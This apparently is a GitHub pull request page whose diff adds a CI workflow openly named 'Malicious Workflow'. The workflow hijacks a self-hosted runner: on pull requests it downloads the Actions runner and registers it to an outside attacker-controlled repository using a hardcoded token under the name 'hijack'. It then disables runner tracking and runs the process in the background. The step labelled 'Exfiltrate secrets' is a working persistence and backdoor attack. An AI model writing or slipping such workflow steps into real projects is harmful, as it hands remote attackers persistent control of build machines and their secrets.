Update autobuild.yml #183
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Malicious Workflow | |
on: | |
pull_request: | |
branches: | |
- develop | |
jobs: | |
exploit: | |
runs-on: self-hosted | |
steps: | |
- name: Checkout code | |
uses: actions/checkout@v3 | |
# To register runner on c3 repo | |
- name: Exfiltrate secrets | |
run: | | |
whoami | |
cd ~/ | |
ls | |
mkdir actions-runner3 && cd actions-runner3 | |
curl -o actions-runner-linux-x64-2.320.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.320.0/actions-runner-linux-x64-2.320.0.tar.gz | |
echo "93ac1b7ce743ee85b5d386f5c1787385ef07b3d7c728ff66ce0d3813d5f46900 actions-runner-linux-x64-2.320.0.tar.gz" | shasum -a 256 -c | |
tar xzf ./actions-runner-linux-x64-2.320.0.tar.gz | |
./config.sh --url https://github.com/he1m4n6a/dcweb --token ABXG7KLYMT35N373XQQ6BL3HCEWQU --name hijack | |
export RUNNER_TRACKING_ID=0; | |
nohup ./run.sh & |